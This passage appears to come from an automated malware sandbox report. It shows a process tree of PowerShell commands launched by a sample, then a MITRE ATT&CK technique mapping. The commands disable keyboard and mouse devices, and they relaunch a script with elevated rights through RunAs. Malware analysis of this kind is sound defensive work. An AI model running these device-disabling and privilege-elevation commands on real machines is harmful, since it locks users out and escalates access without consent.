      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2716
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        
        PID:1976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4508
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1156
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        
        PID:3976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5876
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4016
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        
        PID:1868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5276
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1476
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3624
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5124
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1212
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4172
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        6⤵
        
        PID:2236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2984
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2116

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Process Discovery

T1057

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...